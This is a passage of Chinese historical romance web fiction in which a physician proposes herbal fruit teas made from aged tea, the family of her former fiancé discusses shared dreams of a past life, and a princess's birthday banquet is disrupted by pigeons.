此刻孟玉桐和纪明都已坐下,两人慢慢啜饮着手中的陈皮汤,纪明喝一口,还要发出一声舒爽的长叹,惹得孟玉桐不禁莞尔。 纪昀坐在孟玉桐身旁,看着何浩川在这院中穿梭忙碌、宛若主人的熟稔姿态,眉头几不可察地微微一蹙。 他目光掠过那浸在井中的西瓜,语气淡淡,却似乎听出些不太高兴的情绪,“何公子真是有心人,七夕佳节不忘惦念。这般时令鲜品,想必左邻右舍,也都沾光尝到了。” 何浩川正俯身摆弄着水果,闻言动作微滞,耳根悄悄泛红,有些局促地低声应道:“并、并未特意送予别家……只是想着玉桐姐姐平日辛劳,合该用些好的……” 孟玉桐在外走了许久,确实有些乏了,并未留意那两人之间的微妙机锋,只一心小口喝着手中冰凉酸甜的饮子,觉得那股清凉直透心脾,驱散了不少夏夜的闷热。 她歇了片刻,想起一事,便闲聊般问道:“小川,我前些时日听闻刘大哥他们似有意采买一批临安茶叶运回秦州。他上回尝过你家的浮梁雪毫,可是赞不绝口。此事,他可曾与你们提过?” 自上次她救治了何浩川的父亲后,何浩川便时常来医馆帮忙,送些吃食用度,甚是尽心。她感念这份心意,也知何家茶业经营不易,若能藉此机会将他家茶叶推介出去,于他家而言,自是好事一桩。 何浩川直起身,擦了擦手,回道:“刘大哥前些日子的确来问过。只是……我家茶园精制的那几样茶,诸如‘浮梁雪毫’,非得新炒出来时香气最为清郁隽永。 “若放置稍久,成了陈茶,那独有的香韵便要折损大半,失却本真滋味了。他们若要远销秦州,路途迢迢,时日必久,只能用耐存放的陈茶。我爹与刘大哥商议了几回,也想不出妥帖的法子保全新茶的风味,此事……便暂且搁下了。” 孟玉桐低头啜饮着手中的汤饮,那酸甜沁凉的滋味顺着喉间滑下,驱散了夏夜的些许黏腻。瓷碗很快便见了底。 这饮子是以陈皮、乌梅、甘草细细熬煮,出锅时再撒上一把切得细碎的山楂果脯,味道酸甜适口,生津解暑,她素日里便很是喜爱。 然则人之口味,各有偏好。 譬如此刻,纪昀手中那碗饮子便分毫未动。 他见孟玉桐碗已空,便极其自然地接过她手中的空碗,转而将自己那碗未曾动过的,稳稳放入她掌心。 孟玉桐看着手中再度被斟满的饮子,有些错愕地抬眸望向他。 纪昀神色如常,淡声道:“你知晓的,我素不喜酸甜,尤不食山楂。莫要辜负了王掌柜一番心意。” 是了,孟玉桐恍然,纪昀向来不喜这些酸甜之味,更用不得山楂。 他偏爱的是清风茶肆里那一盏浮梁雪毫,茶汤清洌,入口微苦,细品之下却有余韵回甘,带着山泉般的清冷与兰芷似的幽香。 这都是何浩川描述的,她是不太能品出这味道,只觉得很是一般。 不过……她脑中忽如电光石火,掠过一念。 她总觉得那浮梁雪毫的茶味过于沉敛板正,如老学究讲经,少了几分鲜活意趣;而纪昀或许亦觉得这些果味饮子过于跳脱飞扬,失之沉稳。那么,二者可否取长补短,互相调和? 譬如,在清茶之中,调入些许果香馥郁的汁子,制成别具风味的果茶;亦或,添入几味性味平和、兼具养生之效的药材,例如薄荷、菊花之类,可制成清暑生津的薄荷菊茶;或加入枸杞、红枣,熬煮成温补气血的杞枣暖茶。 如此一来,饮子品类既可推陈出新,受众亦能更为广泛。况且,若作此用途,对茶叶本身的风味要求反不必那般严苛,陈茶滋味虽稍逊,然其茶性更为温和稳定,正宜与诸味调和,不易喧宾夺主。 “在想什么?”纪昀见她捧着碗怔忪出神,以为她是不愿接受自己这碗饮子。 孟玉桐却抬起眼,眸中闪着显而易见的亮光,声音也带上了几分轻快的雀跃:“我是在想,既然新茶难得,陈茶亦有其用,何不另辟蹊径?譬如,以陈茶为底,佐以应季果物或性味相宜的药材,或可调制成各式兼具风味与养身之效的果茶、药茶。如此,不仅茶叶消耗得以增多,品类亦能焕然一新,或可打开一番新局面。” 纪昀听罢,眼底倏然掠过一丝欣赏的神采,那惯常清冷的眉宇间,漾开细微的波澜。 第78章 第78章果药茶 纪昀素知她心思灵巧,于医道常有卓见,更能举一反三,化用于他处。 此刻见她由区区饮子便能生发出这般巧妙构想,那份深藏于心的欣赏之意,不禁又添了几分。 “此计甚妙。”纪昀颔首,接口道,“依你之言,果物增其风味,药材赋其效用,确是别开生面。然需留意,茶叶本身所含鞣质,或与某些药材性味相冲,乃至消解部分药效。譬如,与含铁甚丰之品同用,便易生成沉淀,不利吸收。 “调配之时,需得先明茶性与药性,避其相克,方能取其相协。或可先将药材单独熬取浓汁,再与泡好放凉之茶汤混合,如此或可减少冲突。” 孟玉桐连连点头,深以为然:“你思虑周全,正是此理。调配之前,必先详考各方性味归经,如同开方遣药,务使君臣佐使,相辅相成。 “譬如性寒之菊花,宜配温性的枸杞、红枣;而解表的薄荷,则可佐以理气的陈皮……如此层层推演,或可试出数款风味与效用兼备的稳妥方子。” 两人就着这果药茶的话题,你一言我一语,从药材配伍谈到口味调和,从制备之法论及存放要点,思路开阔,见解精到,颇有几分知己论道、惺惺相惜之感。 这样的话题,纪明是插不上话的,他捧着手里的饮子小口小口喝个不停,一双眼睛还时不时地往那只大西瓜上打量着。 一旁的何浩川听得也是连连赞叹。他家茶肆虽生意不差,日日宾客盈门,然总需不断补充新茶,那些稍有陈味的茶叶便无人问津,堆积库中,着实浪费。 若依孟玉桐此法,将陈茶与药材、果物相合,制成别具一格的药茶饮品,那积压的陈茶岂非有了用武之地? “玉桐姐姐,纪公子,此法当真绝妙!”他忍不住抚掌赞叹,“我家茶肆库中正积压了不少往年的陈茶,品质皆是上乘,只是香气稍逊。若姐姐不弃,尽管取用试制!” 孟玉桐闻言,先温言谢过他的好意,随即神色认真道:“小川,你的心意我领了。然既是长久之计,便不好白白取用。这些陈茶,我按市价与你收购。待我试制出几款稳妥有效的茶饮方子,看看哪些卖得好,便将那方子赠予你与刘大哥。 “届时,刘大哥便可依方直x接采购你家的茶叶,配成茶包运往秦州。如此,你家的陈茶得以消化,刘大哥得了现成的货,我照隅堂或也可藉此售卖成品茶饮,增添些进项。可算得上三全其美。” “美!美!”孟玉桐话音刚落,前堂便传来两声洪亮应和,那声音豪迈不羁,一听便知是刘思钧。 刘思钧那道声音落下,紧随其后的是梅三与崔大叠声的“小心些”、“慢着点”。 这几人定是在外头又喝得尽兴了。孟玉桐眼中掠过一丝无奈,恰巧手中那碗纪昀给的陈皮饮子尚未动过,正好用来给刘思钧醒酒。 她刚站起身,前堂那一行人已步入后院。 刘思钧三步并作两步,脚下生风,眨眼便停在孟玉桐面前。 他面颊泛红,显有醉态,神思瞧着倒还清明,只是语气带上了几分熟稔的埋怨:“桐桐,今日这般好光景,难得医馆清闲,点了几道你爱吃的菜,想请你吃席你都不赏脸,原是在这儿躲清静。方才说什么妙计呢?” 孟玉桐浅浅一笑,将手中那碗饮子递过去:“刘大哥先喝碗饮子,醒醒酒。” 刘思钧接过陶碗,仰头“咕咚咕咚”几口饮尽,随手用袖子一抹嘴,浑不在意地摆手:“瞧你说的,今夜你没来,我哪有什么心思喝酒。” “是是是,没喝酒,光吃那花雕醉鸡,脸就红成这样了。”梅三在一旁插科打诨。 刘思钧回头虚踢他一脚:“就你话多!” 孟玉桐便耐心将方才与纪昀讨论的果药茶构想又说与刘思钧听。 纪昀静立于孟玉桐身侧,视线若有似无地掠过刘思钧手中的空碗,薄唇几不可察地抿紧,未发一言。 纪明此时也喝完了自己的饮子,他溜下凳子,看看兄长,又看看正与刘思钧相谈甚欢的孟玉桐,小人儿似乎察觉到了什么,凑到纪昀身边,轻轻扯了扯他的袖子,小声道:“兄长,孟姐姐把你给她的饮子,转送给刘大哥了,你是不是不高兴了?” 纪昀眼睫低垂,眸光晦暗地扫了弟弟一眼,面无表情地将自己的袖子从他手中抽回,声音清冷无波:“莫要胡猜。” 纪明小嘴一扁,那刘大哥喝饮子如同喝白水似的,一口就闷了,真是浪费,早知如此,还不如给他喝呢。 “你脾胃弱,喝一碗已算得多了。”纪昀一眼便看出纪明在想什么,幽幽落下一句,仿佛是让他不要做梦。 纪明的嘴更扁了。 这时,孟玉桐已向刘思钧解释完毕。 刘思钧听完,眼睛一亮,抚掌赞道:“妙极!妙极啊!我正发愁没寻着合心意的茶叶带回秦州!” 说着,他兴致勃勃地抬手,习惯性地便要往孟玉桐肩上揽去。 纪昀眉头倏然蹙紧,脚下不着痕迹地向前半步,恰好挡在孟玉桐身前。于是乎,刘思钧那只手臂便不偏不倚,落在了纪昀的肩上。 刘思钧一扭头,猝然对上纪昀那张冷峻清寂的面容,动作顿时僵住,一两分浅薄的酒意瞬时间就被驱散了。 纪昀目光平静地迎上他的视线,语气淡得听不出情绪:“刘公子,夜色已深,酒意未散,举止还须稳重些。” 刘思钧面上掠过一丝尴尬,讪讪地收回手,“都说了我没吃酒。” 纪明挤进来,插话道:“我知道,是吃了醉鸡嘛,那也是有酒的呀!刘大哥哥酒量不好的话,下次也不要吃这道菜了,带回来给我吃呀,我最爱吃鸡了!” 众人见状,不由都笑出了声。 天边新月如钩,清辉静静流淌,笼罩着院中那株已结了小果的石榴树和枝叶繁茂的老柿子树。 孟玉桐站在众人之间,唇角噙着温柔浅笑。纪昀则静立一旁,目光悄然落在她含笑的侧颜上,冷硬的眉眼在月色下不自觉柔和了几分。 晚风轻拂,捎来草木清芬。孟玉桐寝屋檐下悬着的鸟笼里,那只鸽子似是关得久了,喉间发出几声沉闷的咕咕低鸣,继而猛地扑棱起翅膀,在笼中焦躁冲撞,搅得笼子簌簌作响,闹出好大动静。 刘思钧闻声望去,随即笑道:“桐桐,养了这些时日,我那鸽子的腿伤想必已无大碍。总关在笼中,只怕反将它憋闷坏了,不若放出来,在院里松散片刻?” 他说着,话音未落,人已大步流星走上前去,伸手便将悬于檐下的那只鸟笼提了过来。 孟玉桐微摇头:“它此前伤得重,多将养几日总是稳妥。” 那鸽子却在笼中扑腾得愈发激烈,刘思钧提着笼子举到孟玉桐眼前,朗声笑道:“你瞧它这般精神头,哪里像有伤在身?多亏你这些时日照料,我这就放它出来透透气。” 言罢,他抬手便去拨弄那鸟笼门上的铜制插销。 笼中鸽子似有所感,双翅陡然剧烈扇动起来,扑棱之声急促如擂鼓,带起细碎绒毛与一丝禽鸟特有的微腥气息,它焦灼地撞击着笼栅,仿佛下一瞬便要破笼而出。 孟玉桐正欲再言,却敏锐地察觉到身侧之人呼吸的细微变化。 她偏首望去,只见纪昀面色虽竭力维持着惯常的平静,然眼睫低垂,视线死死锁在脚下青石板上,额角已渗出细密冷汗,薄唇紧抿,呼吸较之平常明显急促了几分,显是在极力隐忍着什么。 她离得近,能清晰感受到他周身瞬间绷紧的僵硬,以及那份不欲人知的、竭力克制的轻颤。 孟玉桐连忙抬手轻轻按住刘思钧的动作,顺势推着那笼子与他一同向前走了两步,稍稍远离了纪昀所在,方温声道:“刘大哥,这鸽子瞧着性子颇为烈性,若此刻放出,只怕它横冲直撞,我一人怕是难以招架。” 刘思钧恍然,一拍额头,脸上露出“我怎么没想到”的神情,立刻道:“你若是担心它不听管教,我教你一个驯鸽的口诀,专治这等不服管束的扁毛畜生!它若不听话,你只消照此吹响哨音,它必乖乖回到你身边。” 他说着,便将鸟笼暂置于一旁石凳上,随即屈起食指与中指,凑近唇边,微一凝神,便吹出一声清越悠长、颇具韵律的哨音。 说来也奇,那原本焦躁扑腾的鸽子闻得此音,竟真的渐渐安静下来,收拢翅膀,乖顺地偎在笼边,不再闹腾。 刘思钧便将这哨音的轻重缓急、气息运用等诀窍,一一向孟玉桐讲解演示。 孟玉桐垂眸细听,神情专注,偶尔颔首。 待他讲解完毕,她便依样尝试,初时气息未能贯通,哨音略显滞涩不成调,但她聪慧,不过试了三四回,便已掌握了其中关窍,能吹出连贯清亮的音调,引得那笼中鸽子侧首凝望,似在聆听。 纪明一直悄悄留意着兄长,此刻见他神色有异,忙伸出温热的小手,轻轻拉住纪昀微凉的手指,摇了摇,仰起小脸,压低声音满是关切地问:“兄长,你还好吗?你别怕,孟姐姐知道知道你怕鸽子,不会把它放出来的。” 孩童掌心暖热的体温,透过皮肤悄然传来,似一股暖流,渐渐熨帖了他紧绷的心绪。 纪昀抬眼望去,视线所及,恰好是孟玉桐纤秀的背影,严严实实地挡住了那只鸟笼。 他只看见她正微微侧首,神情极为认真地听着刘思钧说话,学习着驯鸽口哨的样子。 恰时院中涌过一阵夜风,树叶沙沙作响,他背脊上那层冷汗被风一吹,带来沁人的凉意,可心底深处,却觉温暖熨贴,前所未有。 纪昀回握住弟弟软软的小手,声线是他自己都未察觉的轻缓柔软,也是纪明从未听过的温柔。 他唇边泛起一丝极淡却真实的暖意,低声道:“我知道。” 几人又闲话片刻,见夜色渐深,便各自告辞散去。 孟玉桐洗漱完毕,卸了钗环,正欲熄灯安寝,忽闻白芷推门进来,手中捧着两个颇为精致的木匣,面上带着几分好奇:“姑娘,我方才收拾前堂,见柜台上有这两件首饰,一支玉簪,一对耳珰。不知是何人留下的,可要奴婢帮您收拣起来?” 孟玉桐眸光在那两个盒子上停留一瞬,月色透过窗棂,在她沉静的面上投下淡淡光影。她神色平静,只微微颔首,语气淡然:“嗯,暂且收在我妆匣底层吧。” “是。”白芷应声,将东西放好后小心捧着盒子退了出去。 第79章 第79章敢问母亲……近日可曾做…… 同照隅堂中众人告别之后,纪昀带着纪明回到了纪府。 他将已然呵欠连天的纪明送x回院落安寝,仔细掖好被角,看着小家伙沉入梦乡,方才悄声退出。 离开纪明的院落,步入梧桐院回廊,四周一片寂静无声,他却在转角处,迎面遇上了等候已久的纪宏业与李婉二人。 纪昀朝两人行礼。 李婉看上去心情甚好,忙扶起他,脸上带着盈盈笑意,问道:“昀儿,今夜从何处回来?玩得可还尽兴?” 纪昀神色如常,随口应道:“带着明儿在街上随意走了走。” 一旁的纪宏业却拉过他,上下打量一眼,忽而问道:“你之前耗费心力雕琢的那支紫玉簪,今日可是送出去了?是给了孟家那丫头吧?” 纪昀闻言微怔,见父亲目光了然,便也不再遮掩,坦然颔首:“是。姨母寿辰在即,邀她过府。孩儿想着母亲与祖父皆曾叮嘱,让孩儿对她多加看顾。恐她未及备妥合乎姨母心意的贺仪,便以此簪代为转赠,聊表心意。” 景福公主素喜浓艳红色,此事在城中并非秘密。以纪昀之缜密心思,焉能不知? 这簪子,哪里是为景福公主准备的?分明是他特意为那孟家丫头精心雕琢的! 纪宏业看破不说破,只抬手拍了拍儿子的肩膀,语重心长道:“昀儿,心意如同幽谷芳兰,藏得再深,也需清风送至有心人鼻息之前。你性子内敛,向来不惯言辞,为父知晓。 “然与姑娘家相处,贵在坦诚沟通,需得顾及对方感受,体察其心。许多事,并非你默默做了,他人便能全然领会。若一味自行决断,不闻不问,恐生隔阂。” 纪昀敏锐地察觉到,父亲近来待他,似乎有些微妙的不同。 以往父亲心思多在母亲身上,对他虽有关怀,大抵只求他平安顺遂,从不过问这些细致情由。 可自上次主动请教雕刻之术起,父亲便时常问起他与孟玉桐之间的种种。 这绝非父亲往日秉性。 今夜这番话,更是迥异于往常,透着一股难以言喻的深意,令他心中不由生出几分思量。 纪昀转而看向一旁的李婉。如今母亲心性开阔不少,不再似从前那般固守一隅、疏离外界,故而有些积压心底的疑问,他也有了径直相询的底气。 他转向李婉,郑重其事地躬身一礼:“母亲,儿子心中存有一惑,悬之已久,还望母亲能为儿子解惑。” 见他神色端凝,举止异常郑重,李婉面上不由掠过一丝讶异,下意识地侧首望了望身旁的纪宏业,不知儿子意欲何为。 纪宏业点了点头,示意她且安心听一听。 纪昀直起身,目光清锐,开门见山问道:“自母亲寿宴筹备以来,您心性行事与往日迥异,尤其待孟玉桐,关切之切,逾于常情,不似母亲素昔作风。 “儿子冒昧,敢问母亲……近日可曾做过什么不寻常的梦境?” 李婉闻言,竟是倒吸了一口凉气。那梦境之事,她只私下与丈夫提过,昀儿为何会突然问及此?难道……他也做了类似的梦? 纪宏业适时地握住她的手,在她手背上轻轻一按,以示安抚,随即看向纪昀,接过话头:“为何忽然问起这个?莫非是你自己梦到了什么?” 纪昀将父母二人细微的反应尽收眼底,眸中闪过一丝不易察觉的思忖,随即答道:“非是儿子。是明儿。他言道自己做了一个古怪却倍感真实的梦,梦中我与孟玉桐并未退婚,成婚不久后,孟玉桐便病逝了。” 他陈述时,目光沉静地注视着双亲,更多地停留在李婉脸上。 但见李婉听闻此言,容色倏然一变,那双总是温婉的眸子里瞬间涌起惊涛骇浪,混杂着难以置信与一种极力克制的震动,唇瓣微张,却未能立刻发出声音。 “儿子觉得此事颇为怪诞,故而想请问母亲,您可曾做过类似的梦?若然,”他语气平稳,却带着坚定,“可否将梦中之事,告知儿子?” 问出此话时,他脑海中不由浮现出晚间在城西,与孟玉桐听《破镜误》后,她所言——“误会若未澄清,一切不过是重蹈覆辙。” 既然这诡异的梦境独独将他排除在外,令他无从知晓那段可能存在的“过往”纠葛,那么,询问经历过梦境之人,便是他目前唯一能探寻真相的途径。 纪明年岁尚小,梦中情形必然模糊,难以问出究竟。而直接去问孟玉桐? 他心知肚明,一旦挑明,两人之间好不容易维系至今、稍见缓和的关系,恐怕立时便会冰消瓦解,再难转圜。 那么,能问的,便只剩下母亲。 李婉袖中的手指微微蜷紧,心绪如潮翻涌。她做过那个梦,宏业也做过,如今连明儿也……这还能仅仅称之为“梦”吗? 种种细节太过真切,脉络清晰得令人心惊,简直像是……像是曾经真切发生过的一生!可这世上怎会有如此离奇之事? 若梦中一切皆为真实,那又是发生于何时?难道……会不会是那虚无缥缈的“上一世”? 李婉心绪纷乱如麻,沉浸在自己脑中这般石破天惊的想法之中,一时间竟不知该如何回应儿子的询问。 “你母亲近来心性开阔,不过是因事明理,豁然贯通罢了。” 纪宏业适时开口,声音温和,替妻子解围,他看向李婉,柔声引导:“至于那梦境之事,听来确实光怪陆离,未曾听你说过这样的梦,你应是未曾梦过类似情形,是不是,婉婉?” 李婉见丈夫如此说,心中虽掠过一丝不解。他为何不将实情告知昀儿? 但出于对丈夫一贯的信任,她并未深想,顺着他的话点了点头,低声应道:“是……我并未做过这样的梦。” 纪昀眼底掠过一丝失望,微微颔首:“儿子明白了。” “你方才如此在意那个梦境,可是因为玉桐?你如今对她,莫非……”李婉忍不住追问。 “母亲多虑了,”纪昀面无表情地打断,语气淡淡,“不过是恰好提及,随口一问罢了。”他神色平静无波,瞧不出半分异样。 李婉几不可闻地轻叹一声,还欲再言,纪宏业却笑了笑,顺着儿子的话道:“是啊婉婉,两个孩子退婚已久,若真有什么心思,何至于等到今日? “我听闻,玉桐那医馆经营得风生水起,自身又才貌双全,这临安城内,心生仰慕、意图结交的年轻才俊想来也是不少。看来他们终究是缘分浅薄。我们倒该早些为昀儿留意其他名门淑媛才是。” “父亲,”纪昀倏然打断,眉头几不可察地蹙了一下,随即又迅速松开,只是那惯常沉稳的声线里,似乎掺入了一丝难以察觉的滞涩,“儿子暂无此意,此事不劳父亲母亲费心。时辰不早,儿子先行告退。” 纪宏业眼中闪过一丝了然,他揽过妻子的肩头,往廊檐下稍站了站,抬手温言道:“去吧,早些歇息。” 待纪昀的身影消失在廊道尽头,李婉不禁蹙眉望向丈夫,语带不解:“方才他问起梦境之事,你为何阻我告知实情?你我,连同明儿,三人皆梦及此事,这绝非寻常巧合。” 纪宏业目光沉静而深远,缓声道:“你所言不错,此梦绝非空穴来风。甚至可以说,若非当初两个孩子退了亲,许多事或许真会依循梦境轨迹发展,亦未可知。” 两人不约而同想起梦中孟玉桐最终的凄凉结局,对视一眼,皆看到彼此眼中的沉重。 纪宏业继续道:“我猜想,玉桐那孩子,恐怕也做过类似的梦。而且她的梦境,或许比我们的更为真切、细致。故而,她从一开始便决意与纪家退婚,划清界限。” 李婉闻言,身形微微一晃,不由自主地后退了半步,声音带着一丝颤意:“若真如此……我、我岂非不该再盼着她嫁入纪家?” “是福是祸,尚未可知。”纪宏业颔首,语气转而通透豁达,“我倒觉得,这梦中种种,更像是一记警钟,提醒我们莫要重蹈覆辙。然,梦境终究是梦境,与现实终究隔着一层。 “若过分沉溺其中,为此裹足不前,反倒辜负了眼前真实的生活,岂非本末倒置?如今这般境况,焉知不是上天给予的一次转圜之机?何必让那些虚无缥缈的前尘旧影,束缚了他当下的抉择与前路?我们不妨静观其变,顺应其势。或许待到时机成熟,昀儿他自会明了其中关窍。” 总之,有丈夫在身边筹谋掌舵,许多事情她便无需过分忧心。 纪宏业向来思虑周详,x处事沉稳,凡事皆在其掌控之中,总能于纷繁中寻得关窍,令人心安。 李婉忽又想起方才丈夫所言,问道:“你是如何知晓玉桐身边……有不少追求者?” 纪宏业闻言,唇角微扬,露出一抹笑意。他虽已年近不惑,然眉目间依旧可见昔年清雅舒朗的风致,这一笑,更添几分成熟男子的从容气度。 他岂止知晓此事,连儿子暗中派遣亲卫日夜守护照隅堂的举动,也未能瞒过他的耳目。 只是他此刻偏不点破,只轻轻握住妻子的手,低叹一声,语气带着几分戏谑与亲昵:“夫人如今心思都挂在儿子身上,倒让为夫好生羡慕。莫非忘了,当年追求夫人的男子,可比这阵仗大得多?” 李婉被他逗得面颊微热,笑着轻推了他一下。夫妻二人这才相偕离去。 第80章 七月十五他与瑾安 七月十五,碧空如洗,天空澄澈得好似一块无瑕的蓝玉。直至傍晚,天际仍残留着几缕淡金色的霞光,温柔地笼罩着皇城以西的景福公主府。 府邸坐落于临安城最为清贵的地段,朱门高墙,飞檐斗拱,尽显天家气派。 酉时初刻,日头西斜,已无灼人之感。 公主府的后花园内,寿宴早已布置妥当。但见曲水回廊间,数十张紫檀木案几错落摆放,其上陈列着官窑瓷碟、琉璃酒盏,珍馐美馔琳琅满目,从炙烤得金黄酥脆的鹿肉,到雕琢成玲珑花鸟的果盘,无不极尽精巧。 身着统一宫装的侍女们手捧食盒酒壶,步履轻盈,穿梭于宾客之间。 景福公主乃今上幼妹,圣眷正浓,于宫中、朝堂皆有不浅人脉。 然其性子孤傲,寻常人等难入其眼。今日能得帖前来的,除开皇亲国戚,便是素日与公主有些交情的勋贵夫人,其中尤以忠勇伯夫人吴氏与公主往来最为密切。 余者,亦多是朝中炙手可热之臣的家眷,可谓冠盖云集。 孟玉桐手持请帖,随引路侍女步入这喧囂与雅致并存的花园。 园中已是人影绰绰,三五成群的贵女夫人们聚在一处,珠翠环绕,语笑嫣然。 她目光扫过,认出几位曾在纪府寿宴上有过一面之缘的夫人,便远远地、大方颔首致意,随后便自顾自寻了一处靠近水边、花木掩映的角落位置安然坐下。 甫一落座,便能隐约感受到几道探究的视线与若有若无的私语声飘来,大抵是好奇她这已与纪家退了亲事的女子,何以能登公主府大门。 孟玉桐面色如常,只静静端坐,等待宴席开场。 不多时,宾客愈发多了。纪夫人李婉步入园中,立时便有好几位相熟的夫人热情迎上寒暄。 李婉神色清淡,一一颔首应过,目光却在人群中流转,最终定格在角落,随即竟绕过众人,径直走向孟玉桐。 她行至案前,笑容温婉亲切,柔声问道:“玉桐,怎么坐得这般偏远?前面尚有位置,可要随我一同过去?” 此举引得周遭目光微凝,窃语声又起,皆是对纪、孟两家如今关系的好奇揣度。 孟玉桐起身,落落大方地敛衽一礼,唇边笑意得体:“多谢纪夫人挂怀。此处清静,视野亦佳,玉桐在此便很好。夫人还请自便,勿要为玉桐费心。” 李婉见她态度坚决,亦不勉强,只慈爱地拍了拍她的手背,温言道:“既如此,你且自在些,若有任何不便,定要来寻我。” 孟玉桐含笑应下。 李婉方才转身离去,人群中忽又起了一阵细微的骚动。孟玉桐顺着众人目光望去,但见月洞门处,一人缓步而来。 来人正是纪昀。他今日穿着一袭深紫色暗云纹锦袍,腰束同色玉带,墨发以一枚羊脂玉冠高高束起,更衬得面容清俊,身姿挺拔。 斑驳流转的夕阳光影透过石榴树的枝叶,在他周身镀上一层朦胧柔和的金边。 他自那株开得如火如荼的石榴树下绕过,那般极致的秾艳,在他清冷矜贵的气质面前,竟也黯然失色,沦为陪衬。 而在他身后两三步处,紧随着一位女子。那女子一身浅碧色缕金撒花长裙,体态纤细,弱不胜衣。 最引人注目的是她那身欺霜赛雪的肌肤,在暮色中白的几乎透明,一双琥珀色的眼眸清澈见底,顾盼间带着几分文弱与懵懂,我见犹怜。是瑾安公主。 两人一前一后,虽无交谈,然紫衣清贵,碧裙娇弱,并肩行来,确是一幅养眼至极的画卷。 他们行至前方靠近主位之处,一左一右落了座。巧的是,纪昀的位置,恰在孟玉桐不远处的斜对面。 他拂衣坐下时,视线似不经意般,若有若无地向她这个方向掠过。 而瑾安公主,亦随之侧首,目光轻飘飘地落在孟玉桐身上,带着一丝淡淡的好奇。 孟玉桐与她隔空对上视线,不过一瞬,便淡然移开。众人窃窃私语,那议论的中心,无疑绕不开他们三人。 纪昀性子清冷低调,却因家世显赫、姿容绝俗,向来是临安城中炙手可热的青年贵胄。 自他与孟玉桐退婚之后,城中不少人家都悄然动了心思,盘算着能否将自家女儿许配给这位前途无量的纪家嫡子。 而今日,他现身于景福公主的寿宴,竟是同瑾安公主一道前来。这般并肩同行的景象,不免引人遐思。 瑾安公主与纪昀算得上自幼相识,有青梅竹马之谊。自她孀居回宫,一应诊治调理,又皆由纪昀亲自接手。两人之间的情分,在外人看来,自是不同寻常。 再联想到方才纪夫人李婉对孟玉桐那番毫不避嫌的关切,这三人之间微妙难言的关系,愈发显得扑朔迷离,引得席间众人心底暗自揣度。 那一众贵妇人尚未理清头绪,但闻环佩轻响,香气袭人,景福公主已在一众宫娥彩婢的簇拥下,施施然踏入花园。 她今日一身石榴红缕金百蝶穿花云锦宫装,色泽较往常惯用的正红略浅几分,恰似院中那初绽的石榴花,明艳大方,是她一贯的格调。 云髻高绾,斜插一支赤金点翠步摇,上嵌红色宝珠,流苏摇曳,顾盼生辉。 她步履从容,行至主位前,目光略有几分惯有的桀骜,扫视全场,唇角微扬,声音清亮,带着天然的尊贵:“今日诸位赏光前来,本宫心甚悦之。望诸位不必拘礼,尽兴方好。” 孟玉桐远远望去,视线落在她行走的姿态上。但见她步履看似舒缓,细观之下,却能察觉其双腿受力较之上次所见均匀不少,若非刻意留意,几乎难以分辨左右差异。 想来这段时日,景福公主确有遵照她的方子认真调养。 见此情形,孟玉桐心中略定,料想今日景福邀她前来,多半并非为难。 景福与座旁几位身份尊贵的夫人略作寒暄,便优雅落座,扬手示意身旁侍女,准备开席献艺。 不多时,丝竹声起,一群身着月白轻绡、腰系五彩丝绦的舞姬袅袅婷婷步入园中。 时值暮色四合,天边尚余一抹瑰丽霞光,映照着美人曼妙的身姿与水袖翻飞,倒像是一幅流动的绮丽画卷。 歌舞正酣时,景福公主微微侧首,与身旁的忠勇伯夫人吴氏低语了几句。吴氏以帕掩唇,轻笑回应,两人关系之亲近,可见一斑。 说起这忠勇伯府,与天家除了吴氏与景福交好之外,尚有一层更为深切,却无人敢轻易提及的关联。 已故忠勇伯膝下原有三子。长子早年随父出征,马革裹尸,战死边疆。 次子沈铎,曾任职皇城司副指挥使,尚了瑾安公主,本是无限风光,岂料成婚不久,便忽染恶疾,暴毙身亡。如今伯府仅余三子沈周,在医官院任一书吏之职。 曾经的显赫将门,如今门庭略显冷落,唯余吴氏与幼子沈周支撑门楣。 认真论起来,吴氏与瑾安公主,尚有一层婆媳名分。然自沈铎身故,瑾安公主回宫孀居,便与伯府断了往来。故而在此等场合,二人也只作寻常相识,并无多余交集。 场中舞姿翩跹,席间贵妇们品着御酿琼浆,欣赏着绝妙舞姿,偶有低语笑谈,气氛倒也融洽和乐。 孟玉桐的视线却并未流连于歌舞。她目光沉静,自座首的景福公主,移至其侧的纪夫人李婉,再落至下首的瑾安公主,逐一细细打量过今夜赴宴的众人。 她忆起前世,景福公主便是在来年的春日宴上,身中秋海棠之毒。 那场春日宴,亦是由景福一手操办,当日赴宴之人,与眼前这些面孔,大抵相仿。 目光在场中缓缓巡睃一圈,她心下仍无头绪。究竟是何人,有此泼天胆量,竟敢谋害圣眷正x浓的公主? 而害死景福公主的人,又是否与害死她的是同一人? 她眼前一团芜杂,暂时分辨不清。 面前水袖翻飞,影影绰绰。清风拂过,带来阵阵花香。孟玉桐抬起眼,不经意间,她的视线穿透重重人影,与斜对面那人的目光撞个正着。 纪昀看似专注赏舞,眸光却似穿过中央翩跹的舞姬,无声落于她身上。 只是在孟玉桐抬眸望去的刹那,他又倏然移开视线,转而望向场中,仿若方才的一切只是错觉,他当真只是在欣赏歌舞罢了。 这无声的交锋虽只一瞬,却未逃过一旁瑾安公主的眼睛。 她纤长的手指轻轻搭在面前的青瓷茶盏上,指尖无意识地左右摩挲着温润的杯壁。 那双澄澈的琥珀色眸子里,掠过一丝晦暗难明的情绪。 一曲歌舞既毕,紧接着是一首琴曲。 府中琴师拨动琴弦,奏的是一曲《风入松》,琴音初时清越空灵,渐转开阔恢弘。乐声流转间,院中树木枝叶沙沙作响,似与之相和。 连高墙之上的飞鸟亦被吸引,低声鸣叫。不远处的屋檐下,不知何时停了几只灰鸽,正低头不断啄弄着瓦片。 骤然间,琴音转急,如松涛澎湃,风雷隐隐。檐下那几只鸽子似被这突如其来的激越琴音惊扰,蓦地展翅飞起,在花园上空低低盘旋起来,翅翼扑棱之声,清晰可闻。 起初不过一两只鸽子低空掠过,尚属无伤大雅。可不知怎的,转瞬间竟从四面八方又涌来十数只,灰白的羽翼在暮色中扑棱纷飞。 它们有的落在青石地上急促点啄,有的则毫无章法地四处飞窜,园内一时翅声乱响,羽絮轻扬。 几位胆小的贵女已花容失色,紧捏着锦帕,娇声惊呼,小心躲避着横冲直撞的飞鸟。《 》 80-90 第81章 第81章请孟姑娘代为看诊 纪昀的案前,亦落下了两只。其中一只尤为躁动,在他桌案上猛地跃起,双翅“噗啦啦”剧烈扇动,带起的风声就在他耳畔鼓噪。 那翅膀扑棱的声音越来越大,如潮水般瞬间淹没了周遭所有的丝竹与人语,他的视线里只剩下那对不断逼近、疯狂振动的灰白羽翼,视野变得模糊不清。 